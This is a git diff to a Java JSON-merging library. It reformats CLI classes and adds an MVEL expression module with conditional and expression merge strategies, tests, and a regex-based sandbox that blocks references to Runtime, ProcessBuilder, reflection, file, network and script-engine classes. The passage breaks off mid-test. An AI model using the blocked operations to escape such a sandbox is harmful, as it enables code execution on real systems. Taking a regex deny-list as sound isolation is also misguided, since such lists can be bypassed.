diff --git a/objectmerger-cli/pom.xml b/objectmerger-cli/pom.xml index 0de2639..83bef74 100644 --- a/objectmerger-cli/pom.xml +++ b/objectmerger-cli/pom.xml @@ -16,6 +16,7 @@ jar + de.x132 objectmerger @@ -28,11 +29,15 @@ com.google.code.gson gson + + org.projectlombok lombok provided + + org.junit.jupiter junit-jupiter-api diff --git a/objectmerger-cli/src/main/java/de/x132/cli/FieldDefinitionDeserializer.java b/objectmerger-cli/src/main/java/de/x132/cli/FieldDefinitionDeserializer.java index b836eb6..682c9dd 100644 --- a/objectmerger-cli/src/main/java/de/x132/cli/FieldDefinitionDeserializer.java +++ b/objectmerger-cli/src/main/java/de/x132/cli/FieldDefinitionDeserializer.java @@ -13,25 +13,25 @@ public class FieldDefinitionDeserializer implements JsonDeserializer> { - @Override - public FieldDefinition deserialize( - JsonElement json, Type typeOfT, JsonDeserializationContext context) - throws JsonParseException { + @Override + public FieldDefinition deserialize( + JsonElement json, Type typeOfT, JsonDeserializationContext context) + throws JsonParseException { - JsonObject jsonObject = json.getAsJsonObject(); - String strategyName = - jsonObject.has("strategy") ? jsonObject.get("strategy").getAsString() : "standard"; + JsonObject jsonObject = json.getAsJsonObject(); + String strategyName = + jsonObject.has("strategy") ? jsonObject.get("strategy").getAsString() : "standard"; - MergeStrategy strategy = StrategyRegistry.getInstance().getStrategy(strategyName); + MergeStrategy strategy = StrategyRegistry.getInstance().getStrategy(strategyName); - // The configuration class for the strategy - Class configClass = strategy.getConfigurationClass(); + // The configuration class for the strategy + Class configClass = strategy.getConfigurationClass(); - // Prevent infinite recursion if the strategy returns the abstract base class - if (configClass == FieldDefinition.class) { - configClass = StandardFieldDefinition.class; - } + // Prevent infinite recursion if the strategy returns the abstract base class + if (configClass == FieldDefinition.class) { + configClass = StandardFieldDefinition.class; + } - return context.deserialize(json, configClass); - } + return context.deserialize(json, configClass); + } } diff --git a/objectmerger-cli/src/main/java/de/x132/cli/GenerateCommand.java b/objectmerger-cli/src/main/java/de/x132/cli/GenerateCommand.java index 2475aff..9ae5eb4 100644 --- a/objectmerger-cli/src/main/java/de/x132/cli/GenerateCommand.java +++ b/objectmerger-cli/src/main/java/de/x132/cli/GenerateCommand.java @@ -17,41 +17,41 @@ @Command(name = "generate", description = "Generate a merge definition from a sample JSON file") public class GenerateCommand implements Callable { - @Parameters(index = "0", description = "Path to sample JSON file") - private Path samplePath; - - @Option( - names = {"-o", "--output"}, - description = "Output JSON file; defaults to stdout") - private Path outputPath; - - private final Gson gson = new GsonBuilder().setPrettyPrinting().create(); - - @Override - public Integer call() throws Exception { - try { - Map sampleData; - try (FileReader reader = new FileReader(samplePath.toFile())) { - sampleData = gson.fromJson(reader, Map.class); - } - - MergeDefinition definition = MergeDefinitionGenerator.generate(sampleData); - - String jsonOut = gson.toJson(definition); - if (outputPath != null) { - Files.createDirectories(outputPath.toAbsolutePath().getParent()); - try (FileWriter writer = new FileWriter(outputPath.toFile())) { - writer.write(jsonOut); + @Parameters(index = "0", description = "Path to sample JSON file") + private Path samplePath; + + @Option( + names = {"-o", "--output"}, + description = "Output JSON file; defaults to stdout") + private Path outputPath; + + private final Gson gson = new GsonBuilder().setPrettyPrinting().create(); + + @Override + public Integer call() throws Exception { + try { + Map sampleData; + try (FileReader reader = new FileReader(samplePath.toFile())) { + sampleData = gson.fromJson(reader, Map.class); + } + + MergeDefinition definition = MergeDefinitionGenerator.generate(sampleData); + + String jsonOut = gson.toJson(definition); + if (outputPath != null) { + Files.createDirectories(outputPath.toAbsolutePath().getParent()); + try (FileWriter writer = new FileWriter(outputPath.toFile())) { + writer.write(jsonOut); + } + } else { + System.out.println(jsonOut); + } + return 0; + + } catch (Exception e) { + System.err.println("Generation failed: " + e.getMessage()); + e.printStackTrace(); + return 1; } - } else { - System.out.println(jsonOut); - } - return 0; - - } catch (Exception e) { - System.err.println("Generation failed: " + e.getMessage()); - e.printStackTrace(); - return 1; } - } } diff --git a/objectmerger-cli/src/main/java/de/x132/cli/MergeCommand.java b/objectmerger-cli/src/main/java/de/x132/cli/MergeCommand.java index 3ef63d9..23c952f 100644 --- a/objectmerger-cli/src/main/java/de/x132/cli/MergeCommand.java +++ b/objectmerger-cli/src/main/java/de/x132/cli/MergeCommand.java @@ -22,74 +22,75 @@ @Command(name = "merge", description = "Merge multiple JSON sources") public class MergeCommand implements Callable { - @Option( - names = {"-d", "--definition"}, - required = true, - description = "Path to merge definition JSON file") - private Path definitionPath; + @Option( + names = {"-d", "--definition"}, + required = true, + description = "Path to merge definition JSON file") + private Path definitionPath; - @Option( - names = {"-s", "--source"}, - required = true, - arity = "1..*", - description = "Source in format label=path/to.json (repeat for multiple sources)") - private List sources; + @Option( + names = {"-s", "--source"}, + required = true, + arity = "1..*", + description = "Source in format label=path/to.json (repeat for multiple sources)") + private List sources; - @Option( - names = {"-o", "--output"}, - description = "Output JSON file; defaults to stdout") - private Path outputPath; + @Option( + names = {"-o", "--output"}, + description = "Output JSON file; defaults to stdout") + private Path outputPath; - private final Gson gson = - new GsonBuilder() - .setPrettyPrinting() - .registerTypeAdapter(FieldDefinition.class, new FieldDefinitionDeserializer()) - .create(); + private final Gson gson = + new GsonBuilder() + .setPrettyPrinting() + .registerTypeAdapter(FieldDefinition.class, new FieldDefinitionDeserializer()) + .create(); - @Override - public Integer call() throws Exception { - try { - MergeDefinition mergeDefinition; - try (FileReader reader = new FileReader(definitionPath.toFile())) { - mergeDefinition = gson.fromJson(reader, MergeDefinition.class); - } + @Override + public Integer call() throws Exception { + try { + MergeDefinition mergeDefinition; + try (FileReader reader = new FileReader(definitionPath.toFile())) { + mergeDefinition = gson.fromJson(reader, MergeDefinition.class); + } - List>> labeledSources = new ArrayList<>(); - for (String src : sources) { - int eq = src.indexOf('='); - if (eq <= 0 || eq == src.length() - 1) { - throw new IllegalArgumentException("Invalid --source format: " + src); - } - String label = src.substring(0, eq); - Path path = Path.of(src.substring(eq + 1)); - try (FileReader reader = new FileReader(path.toFile())) { - Map obj = gson.fromJson(reader, Map.class); - labeledSources.add(new LabeledSource<>(label, obj)); - } - } + List>> labeledSources = new ArrayList<>(); + for (String src : sources) { + int eq = src.indexOf('='); + if (eq <= 0 || eq == src.length() - 1) { + throw new IllegalArgumentException("Invalid --source format: " + src); + } + String label = src.substring(0, eq); + Path path = Path.of(src.substring(eq + 1)); + try (FileReader reader = new FileReader(path.toFile())) { + Map obj = gson.fromJson(reader, Map.class); + labeledSources.add(new LabeledSource<>(label, obj)); + } + } - @SuppressWarnings("unchecked") - Map merged = - ObjectMerger.merge(mergeDefinition, labeledSources.toArray(LabeledSource[]::new)); + @SuppressWarnings("unchecked") + Map merged = + ObjectMerger.merge( + mergeDefinition, labeledSources.toArray(LabeledSource[]::new)); - String jsonOut = gson.toJson(merged); - if (outputPath != null) { - Files.createDirectories(outputPath.toAbsolutePath().getParent()); - try (FileWriter writer = new FileWriter(outputPath.toFile())) { - writer.write(jsonOut); - } - } else { - System.out.println(jsonOut); - } - return 0; + String jsonOut = gson.toJson(merged); + if (outputPath != null) { + Files.createDirectories(outputPath.toAbsolutePath().getParent()); + try (FileWriter writer = new FileWriter(outputPath.toFile())) { + writer.write(jsonOut); + } + } else { + System.out.println(jsonOut); + } + return 0; - } catch (JsonSyntaxException | JsonIOException e) { - System.err.println("Failed to parse JSON: " + e.getMessage()); - return 3; - } catch (Exception e) { - System.err.println("Merge failed: " + e.getMessage()); - e.printStackTrace(); - return 1; + } catch (JsonSyntaxException | JsonIOException e) { + System.err.println("Failed to parse JSON: " + e.getMessage()); + return 3; + } catch (Exception e) { + System.err.println("Merge failed: " + e.getMessage()); + e.printStackTrace(); + return 1; + } } - } } diff --git a/objectmerger-cli/src/main/java/de/x132/cli/ObjectMergerCli.java b/objectmerger-cli/src/main/java/de/x132/cli/ObjectMergerCli.java index d7aa31f..b31f759 100644 --- a/objectmerger-cli/src/main/java/de/x132/cli/ObjectMergerCli.java +++ b/objectmerger-cli/src/main/java/de/x132/cli/ObjectMergerCli.java @@ -4,15 +4,15 @@ import picocli.CommandLine.Command; @Command( - name = "objectmerger", - mixinStandardHelpOptions = true, - version = "0.1.0", - description = "ObjectMerger CLI tool", - subcommands = {MergeCommand.class, GenerateCommand.class}) + name = "objectmerger", + mixinStandardHelpOptions = true, + version = "0.1.0", + description = "ObjectMerger CLI tool", + subcommands = {MergeCommand.class, GenerateCommand.class}) public class ObjectMergerCli { - public static void main(String[] args) { - int exit = new CommandLine(new ObjectMergerCli()).execute(args); - System.exit(exit); - } + public static void main(String[] args) { + int exit = new CommandLine(new ObjectMergerCli()).execute(args); + System.exit(exit); + } } diff --git a/objectmerger-cli/src/test/java/de/x132/cli/GenerateCommandTest.java b/objectmerger-cli/src/test/java/de/x132/cli/GenerateCommandTest.java index bacc5e9..3549b71 100644 --- a/objectmerger-cli/src/test/java/de/x132/cli/GenerateCommandTest.java +++ b/objectmerger-cli/src/test/java/de/x132/cli/GenerateCommandTest.java @@ -17,44 +17,47 @@ class GenerateCommandTest { - private Path tempDir; - private Path sampleFile; - private Path outputFile; - - @BeforeEach - void setUp() throws IOException { - tempDir = Files.createTempDirectory("objectmerger-cli-test"); - sampleFile = tempDir.resolve("sample.json"); - outputFile = tempDir.resolve("output.json"); - - try (FileWriter writer = new FileWriter(sampleFile.toFile())) { - writer.write("{\"name\": \"test\", \"value\": 123}"); + private Path tempDir; + private Path sampleFile; + private Path outputFile; + + @BeforeEach + void setUp() throws IOException { + tempDir = Files.createTempDirectory("objectmerger-cli-test"); + sampleFile = tempDir.resolve("sample.json"); + outputFile = tempDir.resolve("output.json"); + + try (FileWriter writer = new FileWriter(sampleFile.toFile())) { + writer.write("{\"name\": \"test\", \"value\": 123}"); + } } - } - - @AfterEach - void tearDown() throws IOException { - Files.walk(tempDir).sorted((a, b) -> b.compareTo(a)).map(Path::toFile).forEach(File::delete); - } - - @Test - void testGenerate() { - GenerateCommand cmd = new GenerateCommand(); - CommandLine commandLine = new CommandLine(cmd); - - int exitCode = commandLine.execute(sampleFile.toString(), "-o", outputFile.toString()); - - assertEquals(0, exitCode); - assertTrue(Files.exists(outputFile)); - - try { - String content = Files.readString(outputFile); - Gson gson = new Gson(); - Map map = gson.fromJson(content, Map.class); - assertTrue(((Map) map.get("definitions")).containsKey("name")); - assertTrue(((Map) map.get("definitions")).containsKey("value")); - } catch (IOException e) { - throw new RuntimeException(e); + + @AfterEach + void tearDown() throws IOException { + Files.walk(tempDir) + .sorted((a, b) -> b.compareTo(a)) + .map(Path::toFile) + .forEach(File::delete); + } + + @Test + void testGenerate() { + GenerateCommand cmd = new GenerateCommand(); + CommandLine commandLine = new CommandLine(cmd); + + int exitCode = commandLine.execute(sampleFile.toString(), "-o", outputFile.toString()); + + assertEquals(0, exitCode); + assertTrue(Files.exists(outputFile)); + + try { + String content = Files.readString(outputFile); + Gson gson = new Gson(); + Map map = gson.fromJson(content, Map.class); + assertTrue(((Map) map.get("definitions")).containsKey("name")); + assertTrue(((Map) map.get("definitions")).containsKey("value")); + } catch (IOException e) { + throw new RuntimeException(e); + } } - } } diff --git a/objectmerger-mvel/pom.xml b/objectmerger-mvel/pom.xml new file mode 100644 index 0000000..eb7318a --- /dev/null +++ b/objectmerger-mvel/pom.xml @@ -0,0 +1,57 @@ + + + 4.0.0 + + de.x132 + objectmerger-parent + 0.2.0 + + + objectmerger-mvel + ObjectMerger MVEL Extension + MVEL integration for ObjectMerger + + + + + de.x132 + objectmerger + ${project.version} + + + org.mvel + mvel2 + 2.5.0.Final + + + org.slf4j + slf4j-api + + + + + org.projectlombok + lombok + provided + + + + + com.google.code.gson + gson + test + + + org.junit.jupiter + junit-jupiter-api + test + + + org.junit.jupiter + junit-jupiter-engine + test + + + diff --git a/objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeStrategy.java b/objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeStrategy.java new file mode 100644 index 0000000..9ba062c --- /dev/null +++ b/objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeStrategy.java @@ -0,0 +1,100 @@ +package de.x132.objectmerger.strategy.conditional; + +import de.x132.objectmerger.LabeledSource; +import de.x132.objectmerger.ObjectMerger; +import de.x132.objectmerger.exception.ConfigurationException; +import de.x132.objectmerger.registry.StrategyRegistry; +import de.x132.objectmerger.strategy.FieldDefinition; +import de.x132.objectmerger.strategy.MergeStrategy; +import de.x132.objectmerger.strategy.config.ConditionalConfig; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +public class ConditionalMergeStrategy + implements MergeStrategy> { + + public static final String NAME = "conditional"; + + @Override + public String getName() { + return NAME; + } + + @SuppressWarnings("unchecked") + @Override + public Class> getConfigurationClass() { + return (Class) ConditionalFieldDefinition.class; + } + + @Override + @SuppressWarnings("unchecked") + public T merge( + List> sources, + ConditionalFieldDefinition fieldDef, + String fieldName) { + return (T) mergeInternal(sources, fieldDef, fieldName); + } + + private Object mergeInternal( + List> sources, ConditionalConfig fieldDef, String fieldName) { + + Map context = new HashMap<>(); + context.put("sources", sources); + Map values = new HashMap<>(); + for (LabeledSource s : sources) { + values.put(s.getLabel(), ObjectMerger.getFieldValue(s.getSource(), fieldName)); + } + if (fieldDef.getCases() != null) { + for (ConditionCase c : fieldDef.getCases()) { + try { + // Add values to context for easier access (e.g. values['source1']) + // MVEL expression example: "values['source1'] == 'admin'" + context.put("values", values); + + Object result = + de.x132.objectmerger.strategy.mvel.MvelSandbox.evaluate( + c.getCondition(), context); + + if (result instanceof Boolean && (Boolean) result) { + log.debug( + "Condition '{}' matched for field '{}'", + c.getCondition(), + fieldName); + return executeSubStrategy(c.getUseStrategy(), sources, fieldName); + } + } catch (Exception e) { + log.warn( + "Failed to evaluate condition '{}' for field '{}': {}", + c.getCondition(), + fieldName, + e.getMessage()); + // Continue to next case or default + } + } + } + + if (fieldDef.getDefaultStrategy() != null) { + log.debug("No condition matched for field '{}', using default strategy", fieldName); + return executeSubStrategy(fieldDef.getDefaultStrategy(), sources, fieldName); + } + + return null; + } + + @SuppressWarnings({"rawtypes", "unchecked"}) + private Object executeSubStrategy( + FieldDefinition def, List> sources, String fieldName) { + String strategyName = def.getStrategy() != null ? def.getStrategy() : "standard"; + MergeStrategy strategy = StrategyRegistry.getInstance().getStrategy(strategyName); + + if (strategy == null) { + throw new ConfigurationException( + "Unknown strategy in conditional case: " + strategyName); + } + + return strategy.merge(sources, def, fieldName); + } +} diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/mvel/MvelFieldDefinition.java b/objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/mvel/MvelFieldDefinition.java similarity index 94% rename from objectmerger/src/main/java/de/x132/objectmerger/strategy/mvel/MvelFieldDefinition.java rename to objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/mvel/MvelFieldDefinition.java index 49eae43..bdd4be8 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/mvel/MvelFieldDefinition.java +++ b/objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/mvel/MvelFieldDefinition.java @@ -14,5 +14,5 @@ @AllArgsConstructor @EqualsAndHashCode(callSuper = true) public class MvelFieldDefinition extends FieldDefinition implements MvelConfig { - private String expression; + private String expression; } diff --git a/objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategy.java b/objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategy.java new file mode 100644 index 0000000..e4ba539 --- /dev/null +++ b/objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategy.java @@ -0,0 +1,84 @@ +package de.x132.objectmerger.strategy.mvel; + +import de.x132.objectmerger.LabeledSource; +import de.x132.objectmerger.strategy.MergeStrategy; +import de.x132.objectmerger.strategy.config.MvelConfig; +import java.io.Serializable; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import lombok.extern.slf4j.Slf4j; +import org.mvel2.MVEL; + +@Slf4j +public class MvelMergeStrategy implements MergeStrategy { + + public static final String NAME = "mvel"; + + @Override + public String getName() { + return NAME; + } + + @Override + public Class getConfigurationClass() { + return MvelFieldDefinition.class; + } + + @Override + public Object merge( + List> sources, MvelFieldDefinition fieldDef, String fieldName) { + return merge(sources, (MvelConfig) fieldDef, fieldName, fieldDef.getDefaultValue()); + } + + private Object merge( + List> sources, + MvelConfig fieldDef, + String fieldName, + Object defaultValue) { + if (fieldDef == null + || fieldDef.getExpression() == null + || fieldDef.getExpression().isEmpty()) { + log.warn("MVEL strategy invoked for field '{}' but no expression provided.", fieldName); + return defaultValue; + } + + try { + MvelSandbox.validateExpression(fieldDef.getExpression()); + + Serializable compiledExpression = + MVEL.compileExpression( + fieldDef.getExpression(), MvelSandbox.createSandboxedParserContext()); + Map context = prepareContext(sources); + context.put("labeledSources", sources); + + MvelSandbox.validateContextVariables(context); + + return MVEL.executeExpression(compiledExpression, context); + } catch (SecurityException securityException) { + log.error( + "MVEL sandbox violation for field '{}': {}", + fieldName, + securityException.getMessage()); + throw securityException; + } catch (Exception e) { + log.error( + "Error executing MVEL expression for field '{}': {}", + fieldName, + e.getMessage()); + return defaultValue; + } + } + + private Map prepareContext(List> sources) { + Map simpleSources = new HashMap<>(); + Map context = new HashMap<>(); + + for (LabeledSource source : sources) { + simpleSources.put(source.getLabel(), source.getSource()); + } + + context.put("sources", simpleSources); + return context; + } +} diff --git a/objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/mvel/MvelSandbox.java b/objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/mvel/MvelSandbox.java new file mode 100644 index 0000000..02c9884 --- /dev/null +++ b/objectmerger-mvel/src/main/java/de/x132/objectmerger/strategy/mvel/MvelSandbox.java @@ -0,0 +1,143 @@ +package de.x132.objectmerger.strategy.mvel; + +import java.util.Map; +import java.util.regex.Pattern; +import org.mvel2.MVEL; +import org.mvel2.ParserContext; + +public final class MvelSandbox { + + private static final Pattern[] BLOCKED_EXPRESSION_PATTERNS = { + Pattern.compile("(?i).*\\bRuntime\\b.*"), + Pattern.compile("(?i).*\\bProcessBuilder\\b.*"), + Pattern.compile("(?i).*\\bProcess\\b.*"), + Pattern.compile("(?i).*\\bSystem\\b.*"), + Pattern.compile("(?i).*\\bClassLoader\\b.*"), + Pattern.compile("(?i).*\\bClass\\b.*"), + Pattern.compile("(?i).*\\bjava\\.lang\\.reflect\\b.*"), + Pattern.compile("(?i).*\\bMethod\\b.*"), + Pattern.compile("(?i).*\\bField\\b.*"), + Pattern.compile("(?i).*\\bConstructor\\b.*"), + Pattern.compile("(?i).*\\bjava\\.io\\b.*"), + Pattern.compile("(?i).*\\bjava\\.nio\\b.*"), + Pattern.compile("(?i).*\\bFile\\b.*"), + Pattern.compile("(?i).*\\bFileInputStream\\b.*"), + Pattern.compile("(?i).*\\bFileOutputStream\\b.*"), + Pattern.compile("(?i).*\\bFileReader\\b.*"), + Pattern.compile("(?i).*\\bFileWriter\\b.*"), + Pattern.compile("(?i).*\\bjava\\.net\\b.*"), + Pattern.compile("(?i).*\\bSocket\\b.*"), + Pattern.compile("(?i).*\\bURL\\b.*"), + Pattern.compile("(?i).*\\bHttpURLConnection\\b.*"), + Pattern.compile("(?i).*\\bScriptEngine\\b.*"), + Pattern.compile("(?i).*\\bjavax\\.script\\b.*"), + Pattern.compile("(?i).*\\bThread\\b.*"), + Pattern.compile("(?i).*\\bThreadGroup\\b.*"), + }; + + private static final Pattern NEW_OBJECT_CREATION_PATTERN = + Pattern.compile("\\bnew\\s+([a-zA-Z_$][a-zA-Z\\d_$]*\\.)*[a-zA-Z_$][a-zA-Z\\d_$]*"); + + private static final Pattern MVEL_TYPE_REFERENCE_PATTERN = Pattern.compile("\\bT\\s*\\("); + + private static final String[] BLOCKED_DANGEROUS_CLASSES = { + "java.lang.Runtime", + "java.lang.Process", + "java.lang.Thread", + "java.io.", + "java.net.", + "java.lang.reflect." + }; + + private MvelSandbox() {} + + public static ParserContext createSandboxedParserContext() { + ParserContext parserContext = new ParserContext(); + parserContext.setStrictTypeEnforcement(false); + parserContext.setStrongTyping(false); + return parserContext; + } + + public static void validateExpression(String expression) { + if (expression == null || expression.isEmpty()) { + return; + } + + rejectBlockedPatterns(expression); + rejectReflectionAccess(expression); + rejectObjectCreation(expression); + rejectTypeReference(expression); + } + + public static void validateContextVariables(Map context) { + if (context == null) { + return; + } + + for (Map.Entry entry : context.entrySet()) { + Object value = entry.getValue(); + if (value == null) { + continue; + } + rejectDangerousContextObject(entry.getKey(), value); + } + } + + public static Object evaluate(String expression, Map context) { + validateExpression(expression); + validateContextVariables(context); + return MVEL.eval(expression, context); + } + + private static void rejectBlockedPatterns(String expression) { + for (Pattern pattern : BLOCKED_EXPRESSION_PATTERNS) { + if (pattern.matcher(expression).find()) { + throw new SecurityException( + "MVEL expression blocked by sandbox: references to '" + + pattern.pattern() + + "' are not allowed. Expression: " + + expression); + } + } + } + + private static void rejectReflectionAccess(String expression) { + if (expression.contains(".getClass(") + || expression.contains(".class") + || expression.contains("forName(") + || expression.contains("newInstance(")) { + throw new SecurityException( + "MVEL expression blocked by sandbox: reflection-style access is not allowed. Expression: " + + expression); + } + } + + private static void rejectObjectCreation(String expression) { + if (NEW_OBJECT_CREATION_PATTERN.matcher(expression).find()) { + throw new SecurityException( + "MVEL expression blocked by sandbox: 'new' object creation is not allowed. Expression: " + + expression); + } + } + + private static void rejectTypeReference(String expression) { + if (MVEL_TYPE_REFERENCE_PATTERN.matcher(expression).find()) { + throw new SecurityException( + "MVEL expression blocked by sandbox: 'T(...)' type reference is not allowed. Expression: " + + expression); + } + } + + private static void rejectDangerousContextObject(String variableName, Object value) { + String className = value.getClass().getName(); + for (String blockedPrefix : BLOCKED_DANGEROUS_CLASSES) { + if (className.startsWith(blockedPrefix)) { + throw new SecurityException( + "MVEL sandbox violation: context variable '" + + variableName + + "' contains a dangerous object of type " + + className); + } + } + } +} diff --git a/objectmerger-mvel/src/main/resources/META-INF/services/de.x132.objectmerger.strategy.MergeStrategy b/objectmerger-mvel/src/main/resources/META-INF/services/de.x132.objectmerger.strategy.MergeStrategy new file mode 100644 index 0000000..8c44424 --- /dev/null +++ b/objectmerger-mvel/src/main/resources/META-INF/services/de.x132.objectmerger.strategy.MergeStrategy @@ -0,0 +1,2 @@ +de.x132.objectmerger.strategy.mvel.MvelMergeStrategy +de.x132.objectmerger.strategy.conditional.ConditionalMergeStrategy diff --git a/objectmerger-mvel/src/test/java/de/x132/doc/MvelDocumentationVerificationTest.java b/objectmerger-mvel/src/test/java/de/x132/doc/MvelDocumentationVerificationTest.java new file mode 100644 index 0000000..cd41ae3 --- /dev/null +++ b/objectmerger-mvel/src/test/java/de/x132/doc/MvelDocumentationVerificationTest.java @@ -0,0 +1,112 @@ +package de.x132.doc; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +import de.x132.objectmerger.LabeledSource; +import de.x132.objectmerger.MergeDefinition; +import de.x132.objectmerger.ObjectMerger; +import de.x132.objectmerger.strategy.FieldDefinition; +import de.x132.objectmerger.strategy.conditional.ConditionCase; +import de.x132.objectmerger.strategy.conditional.ConditionalFieldDefinition; +import de.x132.objectmerger.strategy.conditional.ConditionalMergeStrategy; +import de.x132.objectmerger.strategy.mvel.MvelFieldDefinition; +import de.x132.objectmerger.strategy.mvel.MvelMergeStrategy; +import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; +import de.x132.objectmerger.strategy.priority.PriorityMergeStrategy; +import de.x132.objectmerger.strategy.standard.StandardFieldDefinition; +import de.x132.objectmerger.strategy.standard.StandardMergeStrategy; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import org.junit.jupiter.api.Test; + +public class MvelDocumentationVerificationTest { + + @Test + void verifyConditionalStrategy() { + Map source1 = new HashMap<>(); + source1.put("age", 18); + source1.put("category", "adult"); + + Map source2 = new HashMap<>(); + source2.put("age", 18); + source2.put("category", "minor"); + + ConditionCase adultCase = new ConditionCase<>(); + adultCase.setCondition("values['json1'] == 'adult'"); + + Map p = new HashMap<>(); + p.put("json1", 1); + p.put("json2", 2); + + PriorityFieldDefinition priorityDef = + PriorityFieldDefinition.builder() + .strategy(PriorityMergeStrategy.NAME) + .priority(p) + .build(); + + adultCase.setUseStrategy(priorityDef); + + List> cases = new ArrayList<>(); + cases.add(adultCase); + + ConditionalFieldDefinition categoryDef = + ConditionalFieldDefinition.builder() + .strategy(ConditionalMergeStrategy.NAME) + .defaultValue("unknown") + .cases(cases) + .build(); + + StandardFieldDefinition defaultDef = + StandardFieldDefinition.builder() + .strategy(StandardMergeStrategy.NAME) + .defaultValue("fallback") + .build(); + categoryDef.setDefaultStrategy(defaultDef); + + Map> definitions = new HashMap<>(); + definitions.put("category", categoryDef); + + MergeDefinition mergeDefinition = new MergeDefinition(definitions); + + Map result = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("json1", source1), + new LabeledSource<>("json2", source2)); + + assertEquals("adult", result.get("category")); + } + + @Test + void verifyMvelStrategy() { + Map source1 = new HashMap<>(); + source1.put("price", 100); + source1.put("discount", 0.1); + + Map source2 = new HashMap<>(); + + MvelFieldDefinition finalPriceDef = + MvelFieldDefinition.builder() + .strategy(MvelMergeStrategy.NAME) + .expression( + "sources['json1']['price'] * (1.0 - sources['json1']['discount'])") + .defaultValue(0.0) + .build(); + + Map> definitions = new HashMap<>(); + definitions.put("finalPrice", finalPriceDef); + + MergeDefinition mergeDefinition = new MergeDefinition(definitions); + + Map result = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("json1", source1), + new LabeledSource<>("json2", source2)); + + Object val = result.get("finalPrice"); + assertEquals(90.0, ((Number) val).doubleValue(), 0.01); + } +} diff --git a/objectmerger-mvel/src/test/java/de/x132/objectmerger/ConditionalNestedTest.java b/objectmerger-mvel/src/test/java/de/x132/objectmerger/ConditionalNestedTest.java new file mode 100644 index 0000000..15a3dba --- /dev/null +++ b/objectmerger-mvel/src/test/java/de/x132/objectmerger/ConditionalNestedTest.java @@ -0,0 +1,127 @@ +package de.x132.objectmerger; + +import de.x132.objectmerger.strategy.conditional.ConditionCase; +import de.x132.objectmerger.strategy.conditional.ConditionalFieldDefinition; +import de.x132.objectmerger.strategy.conditional.ConditionalMergeStrategy; +import de.x132.objectmerger.strategy.nested.NestedFieldDefinition; +import de.x132.objectmerger.strategy.nested.NestedMergeStrategy; +import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; +import de.x132.objectmerger.strategy.priority.PriorityMergeStrategy; +import de.x132.objectmerger.strategy.standard.StandardFieldDefinition; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +public class ConditionalNestedTest { + + @Data + @AllArgsConstructor + @NoArgsConstructor + public static class Address { + private String street; + private String zip; + private boolean valid; + } + + @Test + void testConditionalIncludesNested() { + // Scenario: + // If source2.valid == true, use Nested merge (Street -> Source2, Zip -> + // Source1) + // Else, use Standard merge (Source 1 entirely, ignoring Source 2 invalid data) + + Address a1 = new Address("Old St", "12345", true); + Address a2 = new Address("New St", "99999", true); // Valid API response + + // 1. Define Nested Strategy (The "Target" behavior) + Map> nestedFields = + new HashMap<>(); + PriorityFieldDefinition streetDef = new PriorityFieldDefinition<>(); + streetDef.setStrategy(PriorityMergeStrategy.NAME); + streetDef.setPriority(Map.of("source2", 1, "source1", 2)); + nestedFields.put("street", streetDef); + + // Zip: source1 > source2 + PriorityFieldDefinition zipDef = new PriorityFieldDefinition<>(); + zipDef.setStrategy(PriorityMergeStrategy.NAME); + zipDef.setPriority(Map.of("source1", 1, "source2", 2)); + nestedFields.put("zip", zipDef); + + NestedFieldDefinition
nestedDef = new NestedFieldDefinition<>(); + nestedDef.setStrategy(NestedMergeStrategy.NAME); + nestedDef.setNestedDefinition(new MergeDefinition(nestedFields)); + + // 2. Define Conditional Strategy + ConditionalFieldDefinition
conditionalDef = new ConditionalFieldDefinition<>(); + conditionalDef.setStrategy(ConditionalMergeStrategy.NAME); + + // Case 1: source2 is valid -> Use Nested + ConditionCase
validCase = new ConditionCase<>(); + validCase.setCondition("values['source2'].valid == true"); + validCase.setUseStrategy(nestedDef); + + conditionalDef.setCases(List.of(validCase)); + + // Default: Standard (implicit? or explicit StandardFieldDefinition) + // Default behavior of Conditional is Standard if no default set? + // No, strategy logic: "if defaultStrategy != null... else return null". + // We should set a default strategy to be safe, e.g. Priority(source1) or + // Standard. + StandardFieldDefinition
fallback = new StandardFieldDefinition<>(); + // Standard usually picks first non-null. Order is source1, source2. So Source1. + conditionalDef.setDefaultStrategy(fallback); + + MergeDefinition rootDef = new MergeDefinition(); + rootDef.setDefinitions( + Map.of("self", conditionalDef)); // Wait, we are merging generic object? + + // Testing wrapping object: + // Let's merge Address directly? PojoMerger merges Fields of targetClass. + // So we need a container class. + + Wrapper w1 = new Wrapper(a1); + Wrapper w2 = new Wrapper(a2); + + MergeDefinition wrapperDef = new MergeDefinition(); + wrapperDef.setDefinitions(Map.of("address", conditionalDef)); + + // Test 1: Valid API + Wrapper result1 = + ObjectMerger.merge( + Wrapper.class, + wrapperDef, + new LabeledSource<>("source1", w1), + new LabeledSource<>("source2", w2)); + + // Expect: Nested merge (Street=New, Zip=12345) + Assertions.assertEquals("New St", result1.getAddress().getStreet()); + Assertions.assertEquals("12345", result1.getAddress().getZip()); + + // Test 2: Invalid API + a2.setValid(false); + // a2.setStreet("Bad St"); + + Wrapper result2 = + 